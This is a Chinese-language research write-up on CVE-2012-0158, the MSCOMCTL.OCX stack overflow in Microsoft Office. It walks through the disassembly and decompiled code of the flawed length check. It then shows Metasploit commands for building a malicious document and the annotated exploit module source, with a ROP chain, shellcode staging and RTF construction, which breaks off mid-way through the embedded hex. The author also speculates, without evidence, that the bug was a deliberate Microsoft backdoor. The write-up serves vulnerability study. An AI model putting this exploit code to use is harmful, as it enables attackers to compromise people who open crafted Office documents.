CVE-2012-0158 漏洞研究

7erry

CVE-2012-0158 在 CVE-2017-0199 出现前的 5 年时间中总会在各大安全公司的通用漏洞榜单中名列前茅。首次被披露于 2015 年 6 月报道出的名为 “Lotus Blossom 行动” 的攻击事件。其成因是 Microsoft Windows 通用控件中的 MSCOMCTL.TreeView、MSCOMCTL.TreeView2、MSCOMCTL.ListView2、MSCOMCTL.ListView 控件(MSCOMCTL.OCX)中存在栈溢出漏洞,导致可被用于执行任意代码

影响范围:
Microsoft Office 2003 SP3版本、2007 SP2版本和SP3版本、 2010 Gold版本和SP1版本, Office 2003 Web Components SP3版本,SQL Server 2000 SP4版本、2005 SP4版本和2008 SP2版本、SP3版本和R2版本, BizTalk Server 2002 SP1版本,Commerce Server 2002 SP4版本、2007 SP2版本、2009 Gold版本和R2版本,Visual FoxPro 8.0 SP1版本和9.0 SP2版本和Visual Basic 6.0 Runtime版本

影响的操作系统:
Windows 2000, Windows Server 2003, Windows XP (32-bit), Windows Vista (32-bit), Windows 7 (32-bit)

漏洞分析

调试运行 Word 并样本后程序因访问非法地址触发 segmentation fault 而发生崩溃(gif 图来自吾爱破解精华帖

reproduction

栈回溯得到的漏洞触发执行流如下(图来自安全客上的永远的经典:CVE-2012-0158漏洞分析、利用、检测和总结

flow

Office 在解析 ListView 控件的时候,读取并加载了控件的数据流,栈溢出的越界拷贝发生在 MSCOMCTL.OCX ReadBytesFromStreamPadded 函数中,使用 IDA 打开 MSCOMCTL.OCX 定位栈溢出时程序执行的代码

漏洞模块 MSCOMCTL.OCX 只有为数不多的几个导出函数名可以参考。不过微软的很多库都有对应的公开符号参考,例如 MSDN 或其符号服务器都能下载到各个系统与版本的库以 pdb/dbg 为拓展名的符号文件。这些符号包含源代码编译时的各种函数名、变量等参考信息。将 MSCOMCTL.OCX 与其对应的符号文件 MSCOMCTL.dbg 放在同一个目录下用 IDA 打开能够链接解析它的各个函数地址和函数名,能够很大程度上提高逆向分析过程中的代码可读性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
.text:275C88F4                               ; =============== S U B R O U T I N E =======================================
.text:275C88F4
.text:275C88F4 ; Attributes: bp-based frame
.text:275C88F4
.text:275C88F4 ; HRESULT __cdecl ReadBytesFromStreamPadded(char *, struct IStream *lpMem, SIZE_T dwBytes)
.text:275C88F4 public ?ReadBytesFromStreamPadded@@YAJPADPAUIStream@@K@Z
.text:275C88F4 ?ReadBytesFromStreamPadded@@YAJPADPAUIStream@@K@Z proc near
.text:275C88F4 ; CODE XREF: CNodes::Load(IStream *)+10↑p
.text:275C88F4 ; CNodes::Load(IStream *)+40↑p
.text:275C88F4 ; CNode::Load(IStream *)+26↓p
.text:275C88F4 ; CNode::Load(IStream *)+60↓p
.text:275C88F4 ; CObj::Load(IStream *)+13↓p
.text:275C88F4 ; CObj::Load(IStream *)+3E↓p
.text:275C88F4 ; CListItem::Load(IStream *)+21↓p
.text:275C88F4 ; CListItem::Load(IStream *)+4F↓p
.text:275C88F4 ; CListItem::Load(IStream *)+98↓p
.text:275C88F4 ; CListItems::Load(IStream *)+10↓p
.text:275C88F4 ; CListItems::Load(IStream *)+3E↓p
.text:275C88F4 ; CListSubItem::Load(IStream *)+23↓p
.text:275C88F4 ; CListSubItem::Load(IStream *)+51↓p
.text:275C88F4 ; CListSubItem::Load(IStream *)+CC↓p
.text:275C88F4 ; CListSubItems::Load(IStream *)+10↓p ...
.text:275C88F4
.text:275C88F4 var_4= dword ptr -4
.text:275C88F4 arg_0= dword ptr 8
.text:275C88F4 lpMem= dword ptr 0Ch
.text:275C88F4 dwBytes= dword ptr 10h
.text:275C88F4
.text:275C88F4 ; FUNCTION CHUNK AT .text:275D3DDB SIZE 00000014 BYTES
.text:275C88F4
.text:275C88F4 55 push ebp
.text:275C88F5 8B EC mov ebp, esp
.text:275C88F7 51 push ecx
.text:275C88F8 53 push ebx
.text:275C88F9 8B 5D 0C mov ebx, [ebp+lpMem]
.text:275C88FC 56 push esi
.text:275C88FD 33 F6 xor esi, esi
.text:275C88FF 8B 03 mov eax, [ebx]
.text:275C8901 57 push edi
.text:275C8902 56 push esi
.text:275C8903 8D 4D FC lea ecx, [ebp+var_4]
.text:275C8906 6A 04 push 4
.text:275C8908 51 push ecx
.text:275C8909 53 push ebx
.text:275C890A FF 50 0C call dword ptr [eax+0Ch]
.text:275C890A
.text:275C890D 3B C6 cmp eax, esi
.text:275C890F 7C 78 jl short loc_275C8989
.text:275C890F
.text:275C8911 8B 7D 10 mov edi, [ebp+dwBytes]
.text:275C8914 39 7D FC cmp [ebp+var_4], edi
.text:275C8917 0F 85 BE B4 00 00 jnz loc_275D3DDB
.text:275C8917
.text:275C891D 57 push edi ; dwBytes
.text:275C891E 56 push esi ; dwFlags
.text:275C891F FF 35 50 ED 62 27 push ?g_hHeap@@3PAXA ; hHeap
.text:275C8925 FF 15 68 11 58 27 call ds:__imp__HeapAlloc@12 ; HeapAlloc(x,x,x)
.text:275C8925
.text:275C892B 3B C6 cmp eax, esi
.text:275C892D 89 45 0C mov [ebp+lpMem], eax
.text:275C8930 0F 84 AF B4 00 00 jz loc_275D3DE5
.text:275C8930
.text:275C8936 8B 0B mov ecx, [ebx]
.text:275C8938 56 push esi
.text:275C8939 57 push edi
.text:275C893A 50 push eax
.text:275C893B 53 push ebx
.text:275C893C FF 51 0C call dword ptr [ecx+0Ch]
.text:275C893C
.text:275C893F 8B F0 mov esi, eax
.text:275C8941 85 F6 test esi, esi
.text:275C8943 7C 31 jl short loc_275C8976
.text:275C8943
.text:275C8945 8B 75 0C mov esi, [ebp+lpMem]
.text:275C8948 8B CF mov ecx, edi
.text:275C894A 8B 7D 08 mov edi, [ebp+arg_0]
.text:275C894D 8B C1 mov eax, ecx
.text:275C894F C1 E9 02 shr ecx, 2
.text:275C8952 F3 A5 rep movsd
.text:275C8954 8B C8 mov ecx, eax
.text:275C8956 8B 45 10 mov eax, [ebp+dwBytes]
.text:275C8959 83 E1 03 and ecx, 3
.text:275C895C 6A 00 push 0
.text:275C895E 8D 50 03 lea edx, [eax+3]
.text:275C8961 83 E2 FC and edx, 0FFFFFFFCh
.text:275C8964 2B D0 sub edx, eax
.text:275C8966 F3 A4 rep movsb
.text:275C8968 8B 0B mov ecx, [ebx]
.text:275C896A 52 push edx
.text:275C896B 68 78 3F 63 27 push offset ?PADBYTESBUFFER@@3_JA ; __int64 PADBYTESBUFFER
.text:275C8970 53 push ebx
.text:275C8971 FF 51 0C call dword ptr [ecx+0Ch]
.text:275C8971
.text:275C8974 8B F0 mov esi, eax
.text:275C8974
.text:275C8976
.text:275C8976 loc_275C8976: ; CODE XREF: ReadBytesFromStreamPadded(char *,IStream *,ulong)+4F↑j
.text:275C8976 FF 75 0C push [ebp+lpMem] ; lpMem
.text:275C8979 6A 00 push 0 ; dwFlags
.text:275C897B FF 35 50 ED 62 27 push ?g_hHeap@@3PAXA ; hHeap
.text:275C8981 FF 15 74 11 58 27 call ds:__imp__HeapFree@12 ; HeapFree(x,x,x)
.text:275C8981
.text:275C8987 8B C6 mov eax, esi
.text:275C8987
.text:275C8989
.text:275C8989 loc_275C8989: ; CODE XREF: ReadBytesFromStreamPadded(char *,IStream *,ulong)+1B↑j
.text:275C8989 ; ReadBytesFromStreamPadded(char *,IStream *,ulong)+B4EC↓j
.text:275C8989 ; ReadBytesFromStreamPadded(char *,IStream *,ulong)+B4F6↓j
.text:275C8989 5F pop edi
.text:275C898A 5E pop esi
.text:275C898B 5B pop ebx
.text:275C898C C9 leave
.text:275C898D C3 retn
.text:275C898D
.text:275C898D ?ReadBytesFromStreamPadded@@YAJPADPAUIStream@@K@Z endp

反编译得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
HRESULT __cdecl ReadBytesFromStreamPadded(char *a1, struct IStream *lpMem, SIZE_T dwBytes)
{
HRESULT result; // eax
struct IStream *v5; // eax
int v6; // esi
int v7; // [esp+Ch] [ebp-4h] BYREF
struct IStream *lpMema; // [esp+1Ch] [ebp+Ch]

result = lpMem->lpVtbl->Read(lpMem, &v7, 4, 0);
if ( result >= 0 )
{
if ( v7 == dwBytes )
{
v5 = (struct IStream *)HeapAlloc(g_hHeap, 0, dwBytes);
lpMema = v5;
if ( v5 )
{
v6 = lpMem->lpVtbl->Read(lpMem, v5, dwBytes, 0);
if ( v6 >= 0 )
{
qmemcpy(a1, lpMema, dwBytes);
v6 = lpMem->lpVtbl->Read(lpMem, &PADBYTESBUFFER, ((dwBytes + 3) & 0xFFFFFFFC) - dwBytes, 0);
}
HeapFree(g_hHeap, 0, lpMema);
return v6;
}
else
{
return -2147024882;
}
}
else
{
return -2147418113;
}
}
return result;
}

我们注意到 ReadBytesFromStreamPadded 函数实际上是一个类似 memcpy 的内存拷贝函数。它的功能是根据参数从指定内存拷贝指定大小数据到目标内存。因此漏洞应该出现在其主调函数中,而栈溢出时,其主调函数为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
.text:275C8B4E                               ; =============== S U B R O U T I N E =======================================
.text:275C8B4E
.text:275C8B4E ; Attributes: bp-based frame
.text:275C8B4E
.text:275C8B4E ; int __stdcall CObj::Load(CObj *this, struct IStream *bstrString)
.text:275C8B4E public ?Load@CObj@@MAGJPAUIStream@@@Z
.text:275C8B4E ?Load@CObj@@MAGJPAUIStream@@@Z proc near
.text:275C8B4E ; CODE XREF: CNode::Load(IStream *)+10↑p
.text:275C8B4E ; CListItem::Load(IStream *)+11↓p
.text:275C8B4E ; CListSubItem::Load(IStream *)+11↓p
.text:275C8B4E ; DATA XREF: .text:2758340C↑o
.text:275C8B4E ; .text:275B0504↑o
.text:275C8B4E ; .text:275E4C74↓o
.text:275C8B4E
.text:275C8B4E var_14= byte ptr -14h
.text:275C8B4E dwBytes= dword ptr -0Ch
.text:275C8B4E var_8= byte ptr -8
.text:275C8B4E var_4= dword ptr -4
.text:275C8B4E this= dword ptr 8
.text:275C8B4E bstrString= dword ptr 0Ch
.text:275C8B4E
.text:275C8B4E ; FUNCTION CHUNK AT .text:275D2E73 SIZE 0000001D BYTES
.text:275C8B4E
.text:275C8B4E 55 push ebp
.text:275C8B4F 8B EC mov ebp, esp
.text:275C8B51 83 EC 14 sub esp, 14h
.text:275C8B54 53 push ebx
.text:275C8B55 8B 5D 0C mov ebx, [ebp+bstrString]
.text:275C8B58 56 push esi
.text:275C8B59 57 push edi
.text:275C8B5A 6A 0C push 0Ch ; dwBytes
.text:275C8B5C 8D 45 EC lea eax, [ebp+var_14]
.text:275C8B5F 53 push ebx ; lpMem
.text:275C8B60 50 push eax ; char *
.text:275C8B61 E8 8E FD FF FF call ?ReadBytesFromStreamPadded@@YAJPADPAUIStream@@K@Z ; ReadBytesFromStreamPadded(char *,IStream *,ulong)
.text:275C8B61
.text:275C8B66 83 C4 0C add esp, 0Ch
.text:275C8B69 85 C0 test eax, eax
.text:275C8B6B 7C 6C jl short loc_275C8BD9
.text:275C8B6B
.text:275C8B6D 81 7D EC 43 6F 62 6A cmp dword ptr [ebp+var_14], 6A626F43h
.text:275C8B74 0F 85 F9 A2 00 00 jnz loc_275D2E73
.text:275C8B74
.text:275C8B7A 83 7D F4 08 cmp [ebp+dwBytes], 8
.text:275C8B7E 0F 82 EF A2 00 00 jb loc_275D2E73
.text:275C8B7E
.text:275C8B84 FF 75 F4 push [ebp+dwBytes] ; dwBytes
.text:275C8B87 8D 45 F8 lea eax, [ebp+var_8]
.text:275C8B8A 53 push ebx ; lpMem
.text:275C8B8B 50 push eax ; char *
.text:275C8B8C E8 63 FD FF FF call ?ReadBytesFromStreamPadded@@YAJPADPAUIStream@@K@Z ; ReadBytesFromStreamPadded(char *,IStream *,ulong)
.text:275C8B8C
.text:275C8B91 8B F0 mov esi, eax
.text:275C8B93 83 C4 0C add esp, 0Ch
.text:275C8B96 85 F6 test esi, esi
.text:275C8B98 7C 3D jl short loc_275C8BD7
.text:275C8B98
.text:275C8B9A 83 7D F8 00 cmp dword ptr [ebp+var_8], 0
.text:275C8B9E 8B 7D 08 mov edi, [ebp+this]
.text:275C8BA1 74 2A jz short loc_275C8BCD
.text:275C8BA1
.text:275C8BA3 83 65 0C 00 and [ebp+bstrString], 0
.text:275C8BA7 8D 45 0C lea eax, [ebp+bstrString]
.text:275C8BAA 53 push ebx ; struct IStream *
.text:275C8BAB 50 push eax ; len
.text:275C8BAC E8 2F 00 00 00 call ?ReadBstrFromStreamPadded@@YAJAAPAGPAUIStream@@@Z ; ReadBstrFromStreamPadded(ushort * &,IStream *)
.text:275C8BAC
.text:275C8BB1 8B F0 mov esi, eax
.text:275C8BB3 59 pop ecx
.text:275C8BB4 85 F6 test esi, esi
.text:275C8BB6 59 pop ecx
.text:275C8BB7 7C 1E jl short loc_275C8BD7
.text:275C8BB7
.text:275C8BB9 FF 75 0C push [ebp+bstrString] ; pbstr
.text:275C8BBC 8D 4F DC lea ecx, [edi-24h] ; this
.text:275C8BBF E8 F4 2D FC FF call ?SetKey@CObj@@QAEJPAG@Z ; CObj::SetKey(ushort *)
.text:275C8BBF
.text:275C8BC4 FF 75 0C push [ebp+bstrString] ; bstrString
.text:275C8BC7 FF 15 40 15 58 27 call ds:__imp__SysFreeString@4 ; SysFreeString(x)
.text:275C8BC7
.text:275C8BCD
.text:275C8BCD loc_275C8BCD: ; CODE XREF: CObj::Load(IStream *)+53↑j
.text:275C8BCD 83 7D FC 00 cmp [ebp+var_4], 0
.text:275C8BD1 0F 85 A6 A2 00 00 jnz loc_275D2E7D
.text:275C8BD1
.text:275C8BD7
.text:275C8BD7 loc_275C8BD7: ; CODE XREF: CObj::Load(IStream *)+4A↑j
.text:275C8BD7 ; CObj::Load(IStream *)+69↑j
.text:275C8BD7 ; CObj::Load(IStream *)+A33D↓j
.text:275C8BD7 8B C6 mov eax, esi
.text:275C8BD7
.text:275C8BD9
.text:275C8BD9 loc_275C8BD9: ; CODE XREF: CObj::Load(IStream *)+1D↑j
.text:275C8BD9 ; CObj::Load(IStream *)+A32A↓j
.text:275C8BD9 5F pop edi
.text:275C8BDA 5E pop esi
.text:275C8BDB 5B pop ebx
.text:275C8BDC C9 leave
.text:275C8BDD C2 08 00 retn 8
.text:275C8BDD
.text:275C8BDD ?Load@CObj@@MAGJPAUIStream@@@Z endp
.text:275C8BDD

反编译得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
HRESULT __stdcall CObj::Load(CObj *this, struct IStream *bstrString)
{
struct IStream *v2; // ebx
HRESULT result; // eax
HRESULT BytesFromStreamPadded; // esi
char v5[4]; // [esp+Ch] [ebp-14h] BYREF
SIZE_T dwBytes; // [esp+14h] [ebp-Ch]
char v7[4]; // [esp+18h] [ebp-8h] BYREF
int v8; // [esp+1Ch] [ebp-4h]

v2 = bstrString;
result = ReadBytesFromStreamPadded(v5, bstrString, 0xCu);
if ( result >= 0 )
{
if ( *(_DWORD *)v5 != 'jboC' || dwBytes < 8 )
return -2147418113;
BytesFromStreamPadded = ReadBytesFromStreamPadded(v7, v2, dwBytes);
if ( BytesFromStreamPadded < 0 )
return BytesFromStreamPadded;
if ( *(_DWORD *)v7 )
{
bstrString = 0;
BytesFromStreamPadded = ReadBstrFromStreamPadded((UINT)&bstrString, v2);
if ( BytesFromStreamPadded < 0 )
return BytesFromStreamPadded;
CObj::SetKey((CObj *)((char *)this - 36), (BSTR)bstrString);
SysFreeString((BSTR)bstrString);
}
if ( v8 )
return ReadVariantFromStream((struct tagVARIANT *)((char *)this + 20), v2);
return BytesFromStreamPadded;
}
return result;
}

这个函数是 CObj 对象的加载方法,会先从数据流中读取 0xC 个字节到内存中,并检查其中的前四个字节是否为 Cobj 与同时被读入的 dwBytes 是否大于等于 8 。检查通过后将直接根据 dwBytes 的值进行对应大小的内存复制,复制的源地址为函数参数 bstrString

太抽象了这个漏洞,按照补丁来看正常的 dwBytes 值应该刚好等于 8,但这里的判错条件却并非 dwBytes != 8 而是 dwBytes < 8,以及内存复制目标 v7 的地址恰好是 ebp-8h,只要 dwBytes 的值大于 8 便必然且刚好地栈溢出。结合本漏洞初次被发现于针对东南亚国家和地区的间谍活动网络攻击事件中,很难不怀疑这是微软故意留下的后门

漏洞利用

使用 MSF 搜索该漏洞的 exp

1
2
msfconsole
msf6 > search cve-2012-0158

搜索结果

1
2
3
4
5
6
7
8
9
10
11
12
Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/fileformat/ms12_027_mscomctl_bof 2012-04-10 average No MS12-027 MSCOMCTL ActiveX Buffer Overflow
1 \_ target: Microsoft Office 2007 [no-SP/SP1/SP2/SP3] English on Windows [XP SP3 / 7 SP1] English . . . .
2 \_ target: Microsoft Office 2010 SP1 English on Windows [XP SP3 / 7 SP1] English . . . .


Interact with a module by name or index. For example info 2, use 2 or use exploit/windows/fileformat/ms12_027_mscomctl_bof
After interacting with a module you can manually set a TARGET with set TARGET 'Microsoft Office 2010 SP1 English on Windows [XP SP3 / 7 SP1] English'

调用该模块并查看模块详情

1
2
msf6 > use exploit/windows/fileformat/ms12_027_mscomctl_bof
msf6 exploit(windows/fileformat/ms12_027_mscomctl_bof) > info

模块详情信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
       Name: MS12-027 MSCOMCTL ActiveX Buffer Overflow
Module: exploit/windows/fileformat/ms12_027_mscomctl_bof
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Average
Disclosed: 2012-04-10

Provided by:
Unknown
juan vazquez <juan.vazquez@metasploit.com>
sinn3r <sinn3r@metasploit.com>

Available targets:
Id Name
-- ----
=> 0 Microsoft Office 2007 [no-SP/SP1/SP2/SP3] English on Windows [XP SP3 / 7 SP1] English
1 Microsoft Office 2010 SP1 English on Windows [XP SP3 / 7 SP1] English

Check supported:
No

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.doc yes The file name.

Payload information:
Space: 900
Avoid: 1 characters

Description:
This module exploits a stack buffer overflow in MSCOMCTL.OCX. It uses a malicious
RTF to embed the specially crafted MSComctlLib.ListViewCtrl.2 Control as exploited
in the wild on April 2012.

This module targets Office 2007 and Office 2010 targets. The DEP/ASLR bypass on Office
2010 is done with the Ikazuchi ROP chain proposed by Abysssec. This chain uses
"msgr3en.dll", which will load after office got load, so the malicious file must
be loaded through "File / Open" to achieve exploitation.

References:
https://nvd.nist.gov/vuln/detail/CVE-2012-0158
OSVDB (81125)
http://www.securityfocus.com/bid/52911
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2012/MS12-027
http://contagiodump.blogspot.com.es/2012/04/cve2012-0158-south-china-sea-insider.html


View the full module info with the info -d command.

使用该模块生成木马 PDF 文件

1
2
3
4
msf6 exploit(windows/fileformat/ms12_027_mscomctl_bof) > set FILENAME Crash.pdf
msf6 exploit(windows/fileformat/ms12_027_mscomctl_bof) > set payload windows/exec
msf6 exploit(windows/fileformat/ms12_027_mscomctl_bof) > set CMD calc.exe
msf6 exploit(windows/fileformat/ms12_027_mscomctl_bof) > exploit

Exploit 分析

该模块的 exp 位于

1
/usr/share/metasploit-framework/modules/exploits/windows/fileformat/ms12_027_mscomctl_bof.rb

exp 的核心代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'MS12-027 MSCOMCTL ActiveX Buffer Overflow',
'Description' => %q{...},
'License' => MSF_LICENSE,
'Author' => [...],
'References' => [...],
'DefaultOptions' => {...},
'Payload' => {...},
'Platform' => 'win',
'Targets' => [...],
'DisclosureDate' => '2012-04-10',
'DefaultTarget' => 0))

register_options([...])
end

#* 将输入的字节数据转换为十六进制字符串并溢出 \x 前缀
def stream(bytes)
Rex::Text.to_hex(bytes).gsub("\\x", "")
end

#* 生成包含随机值的数组用于填充 ROP 链中的空白部分
def junk(n=1)
tmp = []
value = rand_text(4).unpack("L")[0].to_i
n.times { tmp << value }
return tmp
end

# Ikazuchi ROP chain (msgr3en.dll)
# Credits to Abysssec
# http://abysssec.com/files/The_Arashi.pdf
#* 创建 RWX 内存区域并把 shellcode 从栈中复制到这片内存区域中执行
def create_rop_chain
rop_gadgets = [
0x3F2CB9E0, # POP ECX # RETN
0x3F10115C, # HeapCreate() IAT = 3F10115C
# EAX == HeapCreate() Address
0x3F389CA5, # MOV EAX,DWORD PTR DS:[ECX] # RETN
# Call HeapCreate() and Create a Executable Heap. After this call, EAX contain our Heap Address.
0x3F39AFCF, # CALL EAX # RETN
0x00040000,
0x00010000,
0x00000000,
0x3F2CB9E0, # POP ECX # RETN
0x00008000, # pop 0x00008000 into ECX
# add ECX to EAX and instead of calling HeapAlloc, now EAX point to the RWX Heap
0x3F39CB46, # ADD EAX,ECX # POP ESI # RETN
junk,
0x3F2CB9E0, # POP ECX # RETN
0x3F3B3DC0, # pop 0x3F3B3DC0 into ECX, it is a writable address.
# storing our RWX Heap Address into 0x3F3B3DC0 ( ECX ) for further use ;)
0x3F2233CC, # MOV DWORD PTR DS:[ECX],EAX # RETN
0x3F2D59DF, #POP EAX # ADD DWORD PTR DS:[EAX],ESP # RETN
0x3F3B3DC4, # pop 0x3F3B3DC4 into EAX , it is writable address with zero!
# then we add ESP to the Zero which result in storing ESP into that address,
# we need ESP address for copying shellcode ( which stores in Stack ),
# and we have to get it dynamically at run-time, now with my tricky instruction, we have it!
0x3F2F18CC, # POP EAX # RETN
0x3F3B3DC4, # pop 0x3F3B3DC4 ( ESP address ) into EAX
# makes ECX point to nearly offset of Stack.
0x3F2B745E, # MOV ECX,DWORD PTR DS:[EAX] #RETN
0x3F39795E, # POP EDX # RETN
0x00000024, # pop 0x00000024 into EDX
# add 0x24 to ECX ( Stack address )
0x3F39CB44, # ADD ECX,EDX # ADD EAX,ECX # POP ESI # RETN
junk,
# EAX = ECX
0x3F398267, # MOV EAX,ECX # RETN
# mov EAX ( Stack Address + 24 = Current ESP value ) into the current Stack Location,
# and the popping it into ESI ! now ESI point where shellcode stores in stack
0x3F3A16DE, # MOV DWORD PTR DS:[ECX],EAX # XOR EAX,EAX # POP ESI # RETN
# EAX = ECX
0x3F398267, # MOV EAX,ECX # RETN
0x3F2CB9E0, # POP ECX # RETN
0x3F3B3DC0, # pop 0x3F3B3DC0 ( Saved Heap address ) into ECX
# makes EAX point to our RWX Heap
0x3F389CA5, # MOV EAX,DWORD PTR DS:[ECX] # RETN
# makes EDI = Our RWX Heap Address
0x3F2B0A7C, # XCHG EAX,EDI # RETN 4
0x3F2CB9E0, # POP ECX # RETN
junk,
0x3F3B3DC0, # pop 0x3F3B3DC0 ( Saved Heap address ) into ECX
# makes EAX point to our RWX Heap
0x3F389CA5, # MOV EAX,DWORD PTR DS:[ECX] # RETN
# just skip some junks
0x3F38BEFB, # ADD AL,58 # RETN
0x3F2CB9E0, # POP ECX # RETN
0x00000300, # pop 0x00000300 into ECX ( 0x300 * 4 = Copy lent )
# Copy shellcode from stack into RWX Heap
0x3F3441B4, # REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] # POP EDI # POP ESI # RETN
junk(2), # pop into edi # pop into esi
0x3F39AFCF # CALL EAX # RETN
].flatten.pack("V*")

# To avoid shellcode being corrupted in the stack before ret
rop_gadgets << "\x90" * target['RopOffset'] # make_nops doesn't have sense here
return rop_gadgets

end

def exploit
#* 目标系统的返回地址,例如魔法跳转地址 0x7FFA4512
ret_address = stream([target.ret].pack("V"))
#* 创建 shellcode
if target['Rop']
shellcode = stream(create_rop_chain)
else
# To avoid shellcode being corrupted in the stack before ret
shellcode = stream(make_nops(target['Offset']))
shellcode << stream(Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+6").encode_string)
shellcode << stream(make_nops(4))
end
shellcode << stream(payload.encoded)
while shellcode.length < 2378
shellcode += "0"
end
#* 构造 RTF 文件
content = "{\\rtf1"
content << "{\\fonttbl{\\f0\\fnil\\fcharset0 Verdana;}}"
content << "\\viewkind4\\uc1\\pard\\sb100\\sa100\\lang9\\f0\\fs22\\par"
content << "\\pard\\sa200\\sl276\\slmult1\\lang9\\fs22\\par"
#* 嵌入 OCX 空间
content << "{\\object\\objocx"
content << "{\\*\\objdata"
content << "\n"
content << "01050000020000001B0000004D53436F6D63746C4C69622E4C697374566965774374726C2E320000"
content << "00000000000000000E0000"
content << "\n"
content << "D0CF11E0A1B11AE1000000000000000000000000000000003E000300FEFF09000600000000000000"
content << "00000000010000000100000000000000001000000200000001000000FEFFFFFF0000000000000000"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFEFFFFFF"
content << "FEFFFFFF0400000005000000FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
